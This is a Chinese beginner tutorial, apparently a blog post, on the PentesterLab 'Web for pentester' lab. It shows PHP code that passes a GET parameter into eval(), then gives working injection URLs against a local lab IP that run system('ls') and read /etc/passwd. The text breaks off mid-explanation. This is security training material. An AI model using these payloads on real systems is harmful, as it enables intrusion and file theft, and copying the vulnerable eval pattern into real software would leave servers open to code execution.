分你所享、信息共享、轻松分享
来自民间的思想 | 送人玫瑰,手有余香。

PentesterLab新手教程(一):代码注入

PentesterLab 简介

Web for pentester 是国外安全研究者开发的的一款渗透测试平台。 这个平台包含的主要漏洞如下:
Code injection (代码注入) Commands injection(命令行注入) XSS(跨站脚本) SQL injections(sql注入) File include(文件包含) LDAP attacks(LDAP攻击) File Upload(文件上传) XML attacks(XML攻击)
个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab 的全套教程,PentesterLab 上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

PentesterLab安装

安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。 官网地址&下载地址

Code injection (代码注入)

本文介绍Code injection的内容,其他模块教程会在后续给出。 php代码注入漏洞造成的主要原因是过滤不严格,造成恶意代码被执行。该漏洞主要是函数的参数过滤不严格所致,严重时可以直接写入webshell。

Example1

后端代码 <?php require_once("../header.php"); ?> <?php $str="echo \"Hello ".$_GET['name']."!!!\";"; //echo $str."<br>"; eval($str); ?> <?php require_once("../footer.php"); ?> 代码解释 php把获取到参数拼接进$str变量,然后eval()函数执行php语句。没有任何过滤,只要保证最后语法正确可以执行。 注: 注释掉的代码是我自己加上,你也可以自己加上,更直观一点,下面默认都是加上的。 这里有一点不知道大家注意到没,如果你构造的语句也有问题,网页就是报错,报错信息如下: Parse error: syntax error, unexpected '<' in /var/www/codeexec/example1.php(13) : eval()'d code on line 1 暴露了当前php文件的绝对路径和报错函数,这也算是一条有用的信息吧。 利用方式 1.执行系统命令 poc: http://192.168.199.110/codeexec/example1.php?name=%22.system(%27ls%27);// 注:敲黑板了,这里的`//`·是php里面的注释符号,注释掉后面的语句。 http://192.168.199.110/codeexec/example1.php?name=%22.system(%27ls%27);%20$a=%22 注:这样也是可以的啦,`;`表示一条单独的语句,后面的没用的赋值给一个变量来起到注释作用,这个sql注入里用and '1' = '1来闭合单引号是一样的道理。 上面的返回页面: echo "Hello ".system('ls'); $a="!!!"; example1.php example2.php example3.php example4.php index.html Hello index.html http://192.168.199.110/codeexec/example1.php?name=%22.system('cat /etc/passwd');// 查看系统关键文件 再次敲黑板 有些新同学可能要问了echo "Hello ".system('ls'); 这条语句中点号是字符串拼接,不是应该返回Hello+ls的结果吗?为什么这里面的返回值不是这样。这里我简单给新同学科普一下。 举个栗子: